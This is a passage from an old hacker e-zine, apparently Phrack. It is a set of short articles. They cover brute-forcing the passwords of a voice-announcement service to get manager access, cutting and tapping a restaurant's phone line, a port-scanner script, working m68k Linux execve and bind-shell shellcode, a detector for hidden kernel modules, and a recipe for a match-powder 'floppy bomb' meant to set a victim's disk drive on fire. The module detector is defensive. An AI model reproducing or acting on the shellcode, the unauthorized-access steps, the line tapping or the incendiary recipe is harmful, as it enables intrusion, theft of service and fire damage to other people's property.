  continue. If you are the announcement manager, please use you telephone
  keypad to enter your password to edit the announcement. If you remain
  silent, the computer will say: "Please enter your 4 digit password."

FOUR DIGITS?????
Were they serious?

Now here's the kicker:
TELLME WON'T DISCONNECT YOU IF YOU FAIL 3 TIMES IN A ROW!!!
Yes, ladies and gentlement, keep trying to your heart's content.
No penalties.

Obviously a Brute Force hack was in order. I handled it by dusting off a
*VERY* old wardialer.

    I sat on an extention line, due to the limitations of the dialer, and
listened to it punching in access codes. When it succeeded, I could pause
the wardialer program. I would be able to look at the screen, and see what
the last couple of attempted numbers were, manually dial them in, and gain
access. I know there are easier methods, but this is what I did.

    The Baron had mercifully chosen a low number, and I was in, changing
the message in about ten minutes. I then tried two other *SAFE* messages,
that I would not get in trouble for, if changed. I gained access,
respectively, in 45 and 90 minutes (More or less). My math told me that the
maximum time to Brute Force a TellMe announcement was about three hours.

Is that it?
No, while having the ability to change any announcement may be a lot of
fun, there is a far more intersting hack that you can do on TellMe.
Remember how when you first sign on, you have to say "announcements"?
Try saying the word "Extensions". You may be quite surprised at what you
find.

What are Tell-Me extensions?
============================

    Tell-Me extensions are that part of the Tellme network, which they
have offered to the world to produce the voice activated web pages. Here
is what you do.

- Say "Extensions". You will be taken to the extensions area, and asked to
  punch in an extension number. This is a five digit number. It was time
  again for my ancient wardialer to do it's stuff. (Once again, no penalty
  for incorrect guesses!)

    First off, it is important at this point to mention that TellMe is a
dying concern. Most of the extensions are empty. The only extensions still
operating, are some extensions created by individual developers, Die-hard
developers, and (This is important later) TellMe's *own* extensions.

    Apparently, the idea was to use the extension number as a kind of
password, as there is no directory, and one must already know the extension
number in order to gain access.

    I checked into The San Remo hotel here in Las Vegas, under my
girlfriend's name, and spent the night hacking. Here's what I have come up
with so far:

Extension 76255:
----------------
    This leads to a very bizarre game of Rock/Paper/Scissors. It is one of
the wierdest things that I have ever come across in all my days. I HIGHLY
suggest you try it. It is like some whiney hillbilly guy...well see fer
yerself!

Extension 11111:
----------------
    A gypsy with an eight ball. You ask it questions, and it gives you
answers. There are no disclaimers, so I guess this is the real deal! Saying
"quit" or "Stop" won't help you. Just shut the hell up, and it will kick
you back into regular Tell-Me.

Extension 33333:
----------------
    Produces the words "HELLO WORLD"

Extension 34118:
----------------
    Produces a directory of TellMe's offices, with the regular phone
numbers.

Most of the worthy extensions consisted of foul language, so anyone
under 18 should stop reading now...

Use the letters on your telephone keypad, and you will get some very
intersting results. These are five letter words corresponding to the
numbers on your phone.

CUNTS - Produces a string of numbers of unknown meaning. Just a long
        string of a computer voice saying "one, five, seven, three, twelve,
	eighty-eight" etc. I'll figure out what that means later.

TITTY - This produces a fax tone, as opposed to a computer tone. I didn't
        mess with it.

PENIS - This produces a verbal message about the sendmail system.

HOLES - This is the Quote of the Day.

BOOBS - This has to do with HTTP protocols.

SHIT0 - This is a directory of phone lines in the TellMe system.

FUCK0 - This is a very interesting directory of phone lines in the TellMe
        system. Two of the lines appear to be trusted lines, providing a
	computer tone which I used to log on. There was a first time user
	option, which gave me a manager's account. (Do they have hundreds
	of managers?) What can it do? I was able to delete my own account
	and bring it back. I didn't fuck with anyone elses account. My goal
	is not to destroy, but to learn.

PISS0 - As above, the TellMe system addresses me with a choice of talking
        to a live person, or an automated directory of phone lines. I'm
	amazed this is all behind a five digit password.

Damn0 - Yet another directory of trusted phone lines. This one, however
        askes you for another password right up front, so I'm assuming this
	is a more security sensative area!

Pussy - A discription of how to configure a TellMe webpage.

Cum69 - Advice on proper password generation. (hahahahahahahahahaha!!!!)

EATME - Computer tone leading to nowhere.


The TellMe security protocols are pathetic.

Archangel (The Teflon Con)
Wrath of God Hand Delivered
http://the.feds.are.lookingat.us

|=-----------------------------------------------------------------------=|
|=-=[ 3 - Shitboxing ]=--------------------------------------------------=|
|=-----------------------------------------------------------------------=|

by Agent5

    So you're sitting in a small family owned type resturaunt or you're
walking through a small store looking at their various wares and, as normal
every couple times a day, you hear the call of nature. You make your way
towards the (preferably single occupancy) mens room (or ladies for those
few that may actually read this) and enter.  So your doing your thing and
you're lookin around checking out your surroundings (why? cause you're
supposed to be fucking observant at all times.Thats why.) Your gaze takes
you towards the ceiling. Looks like most most cheap drop down ceilings.
hmmmm.... drop down ceiling.....easily removable. So you stand on the
toilet, or whatever, and take a look. You pull out your pocket flashlight
and take a look. Nothing but wires. Couple elecrical or telephone maybe...
..TELEPHONE? Does this mean i can sit on the throne and use the fone?
Indeed it does!  All you need is a few things to help you make your dream
of phreaking at its absolute lazyest a reality.what you need will (besides
your beigebox with a RJ-11 plug on the cord) probably cost you, at an
extreme maximum, 3 bucks for parts and about 6 bucks for an telephone Line
Crimper for standard telephone plugs (RJ-11) you will also need a... 
"modular line splitter - Provides two telephone jacks when plugged into the
end of a telephone line cord. Standard 4-wire jacks. Color: Ivory"----bout
dollar and change max cost. Most of these parts, if not all, can be found
at your local radioshack. Now if you havent figured out what i'm getting at
yet, you should seek medical attention immediately, CAT-scans have helped
me alot.<twitch>

    Heres what you do and make sure you do it quickly in case they try to
use the telephone while the line is disconnected. SO make sure you lock the
door and get to work fast....if you have people beginning to knock on the
door just make some nasty shitting sounds and say you'll be out in a
minute.

1. Cut the line. (no specific tools needed, something sharp will do)
2. Attach a plug to either end of the line you have just cut.
3. Put one end of the plug in one end of the modular line splitter, put the
   one thats left into one of the two holes on the front of the splitter.
4. Now you can either leave and let the intestinaly distressed old guy
   pouding on the door in, or you can plug your beige box in and have some
   fun.

    Treat this as you would any other beige boxing session. Keep in mind
that the people who own the telephone line may want to use it to and may
not enjoy having someone on the line already. But for the most part this
ordinary bathroom has just become a your private telephone booth, complete
with running water and a toilet for the astronomical sum of 3 dollars US.

"This file brought to you by the makers of sharp things."

Shoutouts to Epiphany, Bizurke, Master Slate, Ic0n, Xenocide, Bagel,
Hopping Goblin, Maddjimbeam, lioid, emerica, the rest of the #mabell
ninja's, port7 alliance, and LPH crew .


|=-----------------------------------------------------------------------=|
|=-=[ 4 - PalmMap v1.6 - Nmap for Palm ]=--------------------------------=|
|=-----------------------------------------------------------------------=|

(submitted by Shaun Colley <shaunige at yahoo.co.uk>)

-----BEGIN PALMMAP-----
# PalmMap.bas
# PalmMap v1.6 - Nmap for Palm.

fn set_auto_off(0)
s$(0) = "Host:"
s$(2) = "Start Port:"
s$(4) = "End Port:"
f = form(9, 3, "PalmMap v1.6")
if f = 0 then end
if f = 2 then gosub about
let h$ = s$(1)
let p = val(s$(3))
let e = val(s$(5))
let i = p
let t$ = "PalmMap.log"
open new "memo", t$ as #4
form2:
cls
form btn 30 , 40 , 40 , 18, "connect()", 1
form btn 85 , 40, 40 , 18 , "TCP SYN" , 1
form btn 60 , 80 , 40 , 18 , "UDP scan" , 1
form btn 60 , 120, 40 , 18 , "TCP FIN " , 1
draw "Scan type?", 50, 20, 1
while
x = asc(input$(1))
if x = 14 then gosub scan
if x = 15 then print "Scan type not implemented as of
yet."
if x = 16 then print "Scan type not implemented as of
yet."
if x = 17 then print "Scan type not implemented as of
yet."
wend

sub scan
cls
print at 50, 40
while(i <= e)
c = fn tcp(1, h$, i)
if(c = 0)
print "Port ", i, "Open"
fn tcp(-1, "", 0)
print #4, "Port ", i, "Open"
else
fn tcp(-1, "", 0)
print #4, "Port ", i, "Closed"
endif
let i = i + 1
wend
close #4
print "Scan complete!"
end

sub about
cls
msgbox("PalmMap - Nmap for Palm.", "About PalmMap
1.6")
-----END PALMMAP-----

|=-----------------------------------------------------------------------=|
|=-=[ 5 - Writing Linux/mc68xxx Shellcodez ]=----------------------------=|
|=-----------------------------------------------------------------------=|

 by madcr (madrats@mail.ru)


 I    Introdaction.
 II   Registers.
 III  Syscalls.
 IV   Execve shellcode. 
 V    Bind-socket shellcode.
 VI   References.


 I. Introdaction.

 The history Motorola begins already with 1920 then they let out radioelements 
 and about computers of nothing it was known. Only in 1974, motorola lets out 
 the first 8th the bit microprocessor - MC6800, containing 4000 transistors and
 in 1979 motorola announces the first 16th bit processor - MC68000, capable to 
 process up to 2 million operations per one second. After 5 more years, in 1984
 motorola relize the first 32th the bit processor (MC68020), containing 200000 
 transistors. Till 1994 inclusive motorola improved a series of the processors
 and in a result, in March, release MC68060 processor contained 2,5 million 
 transistors. In present days, 68060 is the optimal processor for use any unix.


 The processor can work in 2 modes: User and SuperVisor. It not analogy of the 
 real and protected mode in x86 processors. It some kind of protection
 "just in case". In the user mode it is impossible to cause exceptions and it 
 is impossible to have access to all area of memory. In supervisor mode all is
 accessible. Accordingly kernel work in Supervisor mode, and rest in User mode.


 MC68 supported various manufacturers unix, such as netbsd, openbsd, redhat 
 linux, debian linux, etc. Given article is focused on linux (in particular 
 debian).


 II. Registers.


 The processor as a matter of fact the CISC (but there are some opportunities 
 RISC), accordingly not so is a lot of registers: 

 Eight registers of the data: with %d0 on %d7.
 Eight registers of the address: with %a0 on %a7. 
 The register of the status:  %sr. 
 Two stack indexes: %sp and %fp 
 The program counter: %pc. 

 Basically it is not required to us of anything more. And the minimal set of 
 instructions which is required to us by development shellcode:


 instruction            example               description

   move                movl %d0,%d1           Put value from %d0 in %d1
   lea                 leal %sp@(0xc),%a0     calculate the address on 0xc to
                                              displacement in the stack and it
 					      is put in. %a0.
   eor                 eorl %d0,%d1           xor
   pea                 pea 0x2f2f7368         push in stack '//sh'



  In total these 4 instructions will be enough for a spelling functional 
  shellcode ?). And now it is high time to tell about the fifth, most important
 instruction (fifth, need us i mean) and about exceptions. The instruction trap
 - a call of exception. In processors motorola, only 256 exceptions, but of all
 of them are necessary for us only one - trap #0. In mc68 linux on this 
 exception call to a kernel, for execution system call. Trap 0 refers to a 
 vector located to the address $80h (strange concurrence). Now we shall stop on
 system calls more in detail.


 III. System Calls.


 System calls on the given architecture are organized thus:  

 %d0 - number of a system call.
 %d1,%d2,%d3 - argv

 i.e. to make banal setuid (0); we will have something unpretentious: 

 eorl %d2,%d2
 movl %d2,%d1
 movl #23,%d0
 trap #0

 Rather simple.


 IV. Execve shellcode.


 So, we shall start as always with old-kind execve:

 .globl _start
_start:
.text
	movl #11,%d0       /* execve()  (see unistd.h) */
	movl #m1,%d1       /* /bin/sh address          */  
 	movl #m2,%d2       /* NULL                     */
	movl #m2,%d3       /* NULL too                 */
	trap #0
.data
m1: .ascii "/bin/sh\0"
m2: .ascii "0\0".

# as execve.s -o execve.o ; ld execve.o -o execve
# ./execve
sh-2.03# exit
exit
#


 Such code will not go, since he not pozitsio-independent and did not check him
 on zero. Therefore we shall rewrite him with participation of the stack (since
 the machine at us big endian the order of following of byte needs to be taken
 into account):

.globl _start
_start:
        moveq #11,%d0         /* execve()            		    */
	pea 0x2f2f7368        /* //sh                		    */
 	pea 0x2f62696e        /* /bin  (big endian)  		    */
	movel %sp,%d1         /* /bin/sh in %d1      		    */
	eorl %d2,%d2          /* pea 0x0 + avoiding  		    */
	movel %d2,%sp@-       /* zero byte           		    */
 	pea 0x130             /* pea 0030 -> 0130 = kill the zero   */
	movel %sp,%d2         /* NULL in %d2                        */
	movel %d2,%d3         /* NULL in %d2                        */
	trap #0               /* syscall                            */

# as execve2.s -o execve2.o ; ld execve2.o -o execve2
# ./execve2
sh-2.03# exit
exit
#

 Very well. Now we shall mutate him in ascii and we shall look as it works:

char execve_shellcode[]=   
"\x70\x0b"           	      /* moveq #11,%d0               */
"\x48\x79\x2f\x2f\x73\x68"    /* pea 0x2f2f7368  -> //sh     */
"\x48\x79\x2f\x62\x69\x6e"    /* pea 0x2f62696e  -> /bin     */
"\x22\x0f"           	      /* movel %sp,%d1               */
"\xb5\x82"           	      /* eorl %d2,%d2    ->          */
"\x2f\x02"           	      /* movel %d2,%sp@- -> pea 0x0  */
"\x48\x78\x01\x30"            /* pea 0x130                   */
"\x24\x0f"           	      /* movel %sp,%d2               */
"\x26\x02"           	      /* movel %d2,%d3               */
"\x4e\x40";           	      /* trap #0                     */

main()
{
 int *ret;
 ret=(int *)&ret +2;
 *ret = execve_shellcode;
}


# gcc execve_shellcode.c -o execve_shellcode
# ./execve_shellcode
sh-2.03# exit
exit
#


 Our shellcode. Perfectly. But certainly it is not enough of it, therefore we
 shall binding this shellcode on socket.



 V. Bind-socket shellcode. 


 For the beginning we write our code on C:

#include <;;shiti;;>

main()
{
    int fd,dupa;    
    struct sockaddr_in se4v;

    fd=socket(AF_INET,SOCK_STREAM,0);
    se4v.sin_port=200;
    se4v.sin_family=2;
    se4v.sin_addr.s_addr=0;
    
    bind(fd,(struct sockaddr *)&se4v,sizeof(se4v));
    listen(fd,1);
    dupa=accept(fd,0,0);
    dup2(dupa,0);
    dup2(dupa,1);
    dup2(dupa,2);
    execl("/bin/sh","sh",0);
}

# gcc -static bindshell.c -o bindshell &
# ./bindshell &
[1] 276
# netstat -an | grep 200
tcp        0          0    0.0.0.0:200            0.0.0.0:*             LISTEN
# telnet localhost 200
Trying 127.0.01...
Connected to localhost.
Escape character is '^]'.
echo aaaaaaaaaaaa
aaaaaaaaaaaa
ctrl+c
[1]+ Done     ./bindshell


 All works. Now the last, that us interests - it as there is a work with a 
 network.

# gdb -q ./bindshell
(gdb) disas socket
Dump of assembler code for function socket:
0x80004734 <socket>:     moveal %d2,%a0
0x80004736 <socket+2>:   moveq #102,%d0
0x80004738 <socket+4>:   moveq #1,%d1
0x8000473a <socket+6>:   lea %sp@(4),%a1
0x8000473e <socket+10>:  movel %a1,%d2 
0x80004740 <socket+12>:  trap #0 
0x80004742 <socket+14>:  movel %a0,%d2
0x80004744 <socket+16>:  tstl %d0
0x80004746 <socket+18>:  bmil 0x80004958 <__syscall_error> 
0x8000474c <socket+24>:  rts 
0x8000474e <socket+26>:  rts
End of assembler dump.
(gdb)


 Perfectly. As well as everywhere - 102 = socket_call. 1 - sys_socket. 
 (for the full list look net.h). Proceeding from the aforesaid we shall write
 it on the assembler:

.globl _start
_start:

/* socket(AF_INET,SOCK_STREAM,0); ----------------------------------------- */
/* af_inet - 2, sock_stream - 1, ip_proto0 - 0 */

        moveq #2,%d0 
	movl %d0,%sp@        /* sock_stream */ 
	
	moveq #1,%d0     
	movel %d0,%sp@(0x4)   /* AF_INET     */
		
	eorl %d0,%d0
	movl %d0,%sp@(0x8)
	
	movl %sp,%d2    /* put in d2 the address in the stack on where our argv*/
	    	
	movl #0x66,%d0   /* socketcall (asm/unistd.h) */
	movl #1,%d1      /* sys_socket (linux/net.h)  */
	trap #0          /* go on vector 80 */


/* -bind(socket,(struct sockaddr *)&serv,sizeof(serv));-------------------- */

  	movl %d0,%sp@          /* in d0 back descriptor on socket */
                               
        move #200,%d0
	movl %d0,%sp@(0xc)     /* port number        */
	
	eorl %d0,%d0     
	movl %d0,%sp@(0x10)    /* sin_addr.s_addr=0  */
	
	moveq #2,%d0     
        movl %d0,%sp@(0x14)    /* sin_family=2       */   


/* Let's calculate the address of an arrangement of constants of the     */
/* second argument and we shall put this address as the second argument  */

        leal %sp@(0xc),%a0   
        movl %a0,%sp@(0x4)   

	moveq #0x10,%d0
	movl %d0,%sp@(0x8)    /* third argument 0x10 */

        movl #0x66,%d0        /* socketcall (asm/unistd.h) */
	movl #2,%d1           /* sys_bind (linux/net.h)    */
	trap #0               /* go on vector 80           */


/* listen (socket,1); ----------------------------------------------------- */
/* descriptor socket's already in stack.  				    */ 
/*------------------------------------------------------------------------- */ 
        moveq #1,%d0
        movl %d0,%sp@(4)

/* in d2 already put address of the beginning arguments in the stack */
         	
	movl #0x66,%d0       /* scoketcall (asm/unistd.h) */
	movl #4,%d1          /* sys_listen (linux/net.h)  */
	trap #0              /* go on vector 80           */

/* accept (fd,0,0); ------------------------------------------------------- */

       eorl %d0,%d0
       movl %d0,%sp@(4)
       movl %d0,%sp@(8)


       movl #0x66,%d0       /* scoketcall (asm/unistd.h) */
       movl #5,%d1          /* sys_accept (linux/net.h)  */
       trap #0              /* go on vector 80           */
	
/* dup2 (cli,0); ---------------------------------------------------------- */
/* dup2 (cli,1); ---------------------------------------------------------- */
/* dup2 (cli,2); ---------------------------------------------------------- */

       movl %d0,%d1
       movl #0x3f,%d0
       movl #0,%d2 
       trap #0

       movl %d0,%d1
       movl #0x3f,%d0 
       movl #1,%d2 
       trap #0

       movl %d0,%d1
       movl #0x3f,%d0 
       movl #2,%d2 
       trap #0
       
/* execve ("/bin/sh"); ----------------------------------------------------- */
      
      movl #11,%d0       /* execve */
      pea 0x2f2f7368     /* //sh   */
      pea 0x2f62696e     /* /bin   */ 
      movl %sp,%d1       /*  /bin/sh in %d1 */

      eorl %d2,%d2       
      movl %d2,%sp@-     /* pea 0x0 */ 
      pea 0x0130         /* 0030 -> 0130 = kill the zero */
      
      movl %sp,%d2
      movl %d2,%d3 
      trap #0

/* ---EOF---bindsock shellcode--------------------------------------------- */


# as bindshell.s -o bindshell.o ; ld bindshell.o -o bindshell
# ./bindshell &
[309]
# telnet localhost 200
Trying 127.0.01...
Connected to localhost.
Escape character is '^]'.
echo aaaaaaaaaaaa
aaaaaaaaaaaa
ctrl+c

 In general and all. The code certainly super-not optimized, is some zero, but
 the general picture I hope has given. And at last how it should be:


char bind_shellcode[]=
"\x70\x02"           	      /*  moveq #2,%d0          */
"\x2e\x80"           	      /*  movel %d0,%sp@        */
"\x70\x01"           	      /*  moveq #1,%d0          */
"\x2f\x40\x00\x04"     	      /*  movel %d0,%sp@(4)     */ 
"\xb1\x80"           	      /*  eorl %d0,%d0          */
"\x2f\x40\x00\x08"     	      /*  movel %d0,%sp@(8)     */ 
"\x24\x0f"           	      /*  movel %sp,%d2         */
"\x70\x66"           	      /*  moveq #102,%d0        */
"\x72\x01"           	      /*  moveq #1,%d1          */
"\x4e\x40"           	      /*  trap #0               */
"\x2e\x80"           	      /*  movel %d0,%sp@        */
"\x30\x3c\x00\xc8"     	      /*  movew #200,%d0        */
"\x2f\x40\x00\x0c"     	      /*  movel %d0,%sp@(12)    */
"\xb1\x80"           	      /*  eorl %d0,%d0          */ 
"\x2f\x40\x00\x10"     	      /*  movel %d0,%sp@(16)    */
"\x70\x02"           	      /*  moveq #2,%d0          */
"\x2f\x40\x00\x14"            /*  movel %d0,%sp@(20)    */
"\x41\xef\x00\x0c"     	      /*  lea %sp@(12),%a0      */
"\x2f\x48\x00\x04"     	      /*  movel %a0,%sp@(4)     */
"\x70\x10"           	      /*  moveq #16,%d0         */
"\x2f\x40\x00\x08"     	      /*  movel %d0,%sp@(8)     */ 
"\x70\x66"           	      /*  moveq #102,%d0        */ 
"\x72\x02"           	      /*  moveq #2,%d1          */
"\x4e\x40"           	      /*  trap #0               */
"\x70\x01"           	      /*  moveq #1,%d0          */ 
"\x2f\x40\x00\x04"     	      /*  movel %d0,%sp@(4)     */  
"\x70\x66"           	      /*  moveq #102,%d0        */
"\x72\x04"           	      /*  moveq #4,%d1          */
"\x4e\x40"           	      /*  trap #0               */
"\xb1\x80"           	      /*  eorl %d0,%d0          */  
"\x2f\x40\x00\x04"     	      /*  movel %d0,%sp@(4)     */ 
"\x2f\x40\x00\x08"     	      /*  movel %d0,%sp@(8)     */
"\x70\x66"           	      /*  moveq #102,%d0        */
"\x72\x05"           	      /*  moveq #5,%d1          */ 
"\x4e\x40"           	      /*  trap #0               */
"\x22\x00"           	      /*  movel %d0,%d1         */
"\x70\x3f"           	      /*  moveq #63,%d0         */
"\x74\x00"           	      /*  moveq #0,%d2          */ 
"\x4e\x40"           	      /*  trap #0               */
"\x22\x00"           	      /*  movel %d0,%d1         */
"\x70\x3f"           	      /*  moveq #63,%d0         */
"\x74\x01"           	      /*  moveq #1,%d2          */
"\x4e\x40"           	      /*  trap #0               */  
"\x22\x00"           	      /*  movel %d0,%d1         */
"\x70\x3f"           	      /*  moveq #63,%d0         */
"\x74\x02"           	      /*  moveq #2,%d2          */
"\x4e\x40"           	      /*  trap #0               */
"\x70\x0b"           	      /*  moveq #11,%d0         */ 
"\x48\x79\x2f\x2f\x73\x68"    /*  pea 2f2f7368          */
"\x48\x79\x2f\x62\x69\x6e"    /*  pea 2f62696e          */ 
"\x22\x0f"           	      /*  movel %sp,%d1         */
"\xb5\x82"           	      /*  eorl %d2,%d2          */
"\x2f\x02"           	      /*  movel %d2,%sp@-       */
"\x48\x78\x01\x30"            /*  pea 130               */
"\x24\x0f"           	      /*  movel %sp,%d2         */ 
"\x26\x02"           	      /*  movel %d2,%d3         */ 
"\x4e\x40";           	      /*  trap #0               */

main()
{
 int *ret;
 ret=(int *)&ret +2;
 *ret = bind_shellcode;
}


 p.s. as always - sorry for my poor english.


 VI. References.
 
 [1] http://e-www.motorola.com/collateral/M68000PRM.pdf  - programmer's manual
 [2] http://e-www.motorola.com/brdata/PDFDB/docs/MC68060UM.pdf - user's manual
 [3] http://www.lsd-pl.net/documents/asmcodes-1.0.2.pdf        - good tutorial


|=-----------------------------------------------------------------------=|
|=-=[ 6 - Finding hidden kernel modules (the extrem way) ]=--------------=|
|=-----------------------------------------------------------------------=|

by madsys <madsys at ercist.iscas.ac.cn>


1 Introduction
2 The technique of module hiding
3 Countermeasure -- brute force
4 Problem of unmapped
5 Greetings
6 References
7 Code


1 Introduction
==============

This paper presents a method for how to find out the hidden modules in
linux system. Generaly speaking, most of the attackers intend to hide
their modules after taking down the victim. They like this way to prevent
the change of kernel from being detected by the administrator. As modules
were linked to a singly linked chain, the original one was unable to be
recovered while some modules have been removed. In this sense, to retrieve
the hidden modules came up to be hard. Essential C skill and primary
knowledge of linux kernel are needed.


2 The technique of module hiding
================================

First of all, the most popular and general technique of module hiding 
and the quomodo of application to get module's list were examined.
An implement of module hiding was shown as below:

    ----snip----
    struct module *p;
    
    for (p=&__this_module; p->next; p=p->next)
        {
            if (strcmp(p->next->name, str))
                continue;
            p->next=p->next->next;        // <-- here it 
removes that module
                break;
        }
    
    ----snip----

As you can see, in order to hide one module, the unidirectional chain was 
modified, and following is a snippet of sys_create_module() system call, 
which might tell why the technique worked:

    ----snip----
    spin_lock_irqsave(&modlist_lock, flags);
    mod->next = module_list;
    module_list = mod;    /* link it in */
    spin_unlock_irqrestore(&modlist_lock, flags);
    ----snip----

A conclusion could be made: modules linked to the end of unidirectional 
chain when they were created.

"lsmod" is an application on linux for listing current loaded modules, 
which uses sys_query_module() system call to get the listing of loaded 
modules, and qm_modules() is the actual function called by it while 
querying modules:


static int qm_modules(char *buf, size_t bufsize, size_t *ret)
{
    struct module *mod;
    size_t nmod, space, len;

    nmod = space = 0;

    for (mod=module_list; mod != &kernel_module; mod=mod->next, 
++nmod) {
        len = strlen(mod->name)+1;
        if (len > bufsize)
            goto calc_space_needed;
        if (copy_to_user(buf, mod->name, len))
            return -EFAULT;
        buf += len;
        bufsize -= len;
        space += len;
    }

    if (put_user(nmod, ret))
        return -EFAULT;
    else
        return 0;

calc_space_needed:
    space += len;
    while ((mod = mod->next) != &kernel_module)
        space += strlen(mod->name)+1;

    if (put_user(space, ret))
        return -EFAULT;
    else
        return -ENOSPC;
}

    note: pointer module_list is always at the head of the singly linked
chain. It clearly showing the technique of hiding module was valid.


3 Countermeasure -- brute force
===============================

According to the technique of hiding module, brute force might be useful.
sys_creat_module() system call was expressed as below. 

    --snip--
    if ((mod = (struct module *)module_map(size)) == NULL) {
        error = -ENOMEM;
        goto err1;
    }
    --snip--

    and the macro module_map in "asm/module.h": 
    #define module_map(x)    vmalloc(x)


You should have noticed that the function calls vmalloc() to allocate the
module struct. So the size limitation of vmalloc zone for brute force is
able to be exploited to determine what modules in our system on earth.
As you know, the vmalloc zone is 128M(2.2, 2.4 kernel, there are many
inanition zones in it), however, any allocated module should be aligned by
4K. Therefor, the theoretical maximum number we were supposed to detect
was 128M/4k=32768.

4 Problem of unmapped
=====================

By far, maybe you think: umm, it's very easy to use brute force to list
those evil modules". But it is not true because of an important
reason: it is possible that the address which you are accessing is
unmapped, thus it can cause a paging fault and the kernel would report:
"Unable to handle kernel paging request at virtual address".

So we must make sure the address we are accessing is mapped. The solution
is to verify the validity of the corresponding entry in kernel
pgd(swapper_pg_dir) and the corresponding entry in page table.Furthermore,
we were supposed to make sure the content of address pointed by "name"
pointer(in struct module) was valid. Because the 768~1024 entries of user
process's pgd were synchronous with kerenl pgd, and that was why such
hardcore address of kernel pgd (0xc0101000) was used.


following is the function for validating those entries in pgd or pgt:

int valid_addr(unsigned long address)
{
    unsigned long page;

    if (!address)
        return 0;

    page = ((unsigned long *)0xc0101000)[address >> 22];        
//pde
    if (page & 1)
    {
        page &= PAGE_MASK;
        address &= 0x003ff000;
        page = ((unsigned long *) __va(page))[address >> 
PAGE_SHIFT];    //pte
        if (page)
            return 1;
    }
    
    return 0;
}

After validating those addresses which we would check, the next step would
be easy -- just brute force. As the list of modules including hidden
modules had been created, you could compare it with the output of "lsmod".
Then you can find out those evil modules and get rid of them freely.


5 Greetings
===========

Shout to uberhax0rs@linuxforum.net


6 Code
======

-----BEGING MODULE_HUNTER.C-----
/* 
 * module_hunter.c: Search for patterns in the kernel address space that
 * look like module structures. This tools find hidden modules that
 * unlinked themself from the chained list of loaded modules.
 *
 * This tool is currently implemented as a module but can be easily ported
 * to a userland application (using /dev/kmem).
 * 
 * Compile with: gcc -c module_hunter.c -I/usr/src/linux/include
 * insmod ./module_hunter.o
 *
 * usage: cat /proc/showmodules && dmesg
 */

#define MODULE
#define __KERNEL__

#include <linux/config.h>

#ifdef CONFIG_SMP
#define __SMP__ 
#endif

#ifdef CONFIG_MODVERSIONS
#define MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/version.h>

#include <linux/unistd.h>
#include <linux/string.h>


#include <linux/proc_fs.h>

#include <linux/errno.h>
#include <asm/uaccess.h>


#include <asm/pgtable.h>
#include <asm/fixmap.h>
#include <asm/page.h>

static int errno;


int valid_addr(unsigned long address)
{
    unsigned long page;

    if (!address)
        return 0;

    page = ((unsigned long *)0xc0101000)[address >> 22];        

    if (page & 1)
    {
        page &= PAGE_MASK;
        address &= 0x003ff000;
        page = ((unsigned long *) __va(page))[address >> PAGE_SHIFT];  //pte
        if (page)
            return 1;
    }
    
    return 0;
}

ssize_t
showmodule_read(struct file *unused_file, char *buffer, size_t len, loff_t *off)
{
    struct module *p;

    printk("address                         module\n\n");
    for (p=(struct module *)VMALLOC_START; p<=(struct \
module*)(VMALLOC_START+VMALLOC_RESERVE-PAGE_SIZE); p=(struct module \
*)((unsigned long)p+PAGE_SIZE))
    {
        if (valid_addr((unsigned long)p+ (unsigned long)&((struct \
module *)NULL)->name) && valid_addr(*(unsigned long *)((unsigned long)p+ \
(unsigned long)&((struct module *)NULL)->name)) && strlen(p->name))
            if (*p->name>=0x21 && *p->name<=0x7e && (p->size < 1 <<20))
                printk("0x%p%20s size: 0x%x\n", p, p->name, p->size);
    }

    return 0;
}

static struct file_operations showmodules_ops = {
    read:    showmodule_read,
};

int init_module(int x)
{
    struct proc_dir_entry *entry;

    entry = create_proc_entry("showmodules", S_IRUSR, &proc_root);
    entry->proc_fops = &showmodules_ops;

    return 0;
}

void cleanup_module()
{
    remove_proc_entry("showmodules", &proc_root);
}

MODULE_LICENSE("GPL");
MODULE_AUTHOR("madsys<at>ercist.iscas.ac.cn");
-----END MODULE-HUNTER.C-----

|=-----------------------------------------------------------------------=|
|=-=[ 7 - Good old floppy bombs ]=---------------------------------------=|
|=-----------------------------------------------------------------------=|

    [ Note by the editors: We felt like it's time for a re-print of
      some already forgotton fun with pyro techniques. Enjoy. ]

                    ####################################
                    #   How To Make A Diskette Bomb    #
                    #       by Phrick-A-Phrack         #
                    ####################################

Before I even start i want to make it clear that i do NOT take any
responsibility on the use of the information in this document.

This little baby is good to use to stuff up someones computer a little.
It can be adapted to a range of other things.

You will need:

- A disk (3.5" floppys are a good disk to use)
- Scissors
- White or blue kitchen matches (i have not found any other colors that
  work - im not sure why)
- Clear nail polish

What to do:
 
- Carefully open up the diskette
- remove the cotton covering from the inside.
- scrape a lot of match powder into a bowl (use a woodent scraper as metal
  might spark and ignite the match powder)
- After you have a lot, spread it EVENLY on the disk.
- Spread nail polish over the match powder on the disk.
- let it dry.
- carefully put the diskette back together and use the nail plish to seal
  is shut.

How to use it:

Give it to someone you want to give a fright and stuff up their computer
a little. Tell them its got something they are interested in on it. When
they put it in their drive the drive head attempts to read the disk which
causes a small fire - enough heat to melt the disk drive and stuff the
head up!

       ^^Phrick-A-Phrack^^

|=[ EOF ]=---------------------------------------------------------------=|



--------------------------------------------------------------------------------


                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3d, Phile #0x04 of 0x0f

|=------------------=[ T O O L Z   A R M O R Y ]=------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------=[ Phrack  Staff ]=-----------------------------=|


    This new section, Phrack Toolz Armory, is dedicated to tool
annoucements. We will showcast selected tools of relevance to the computer
underground which have been released recently.

Drop us a mail if you develop something kewl that you think is worth of
being mentioned in #62.


Content:

     1 - Scapy, Interactive Packet Manipulation Program    by Biondi
     2 - ShellForge, Shellcode Builder                     by Biondi
     3 - objobf : burneye2 IA32 object file obfuscator     by team-teso
     4 - ELFsh, ELF objects manipulation scripting langage by Devhell labs.
     5 - Packit, Network injection, capture and auditing   by D. Bounds


----[ 1 - Scapy : interactive packet manipulation program

URL     : http://www.cartel-securite.fr/pbiondi/scapy.html
Author  : biondi@cartel-securite.fr
Comment : Scapy is a powerful interactive packet manipulation tool, packet
          generator, network scanner, network discovery tool, and packet
          sniffer. It provides classes to interactively create packets or
          sets of packets, manipulate them, send them over the wire, sniff
          other packets from the wire, match answers and replies, and
          more. Interaction is provided by the Python interpreter, so
          Python programming structures can be used (such as variables,
          loops, and functions). Report modules are possible and easy to
          make. It is able to do about the same things as ttlscan,
          nmap, hping, queso, p0f, xprobe, arping, arp-sk, arpspoof,
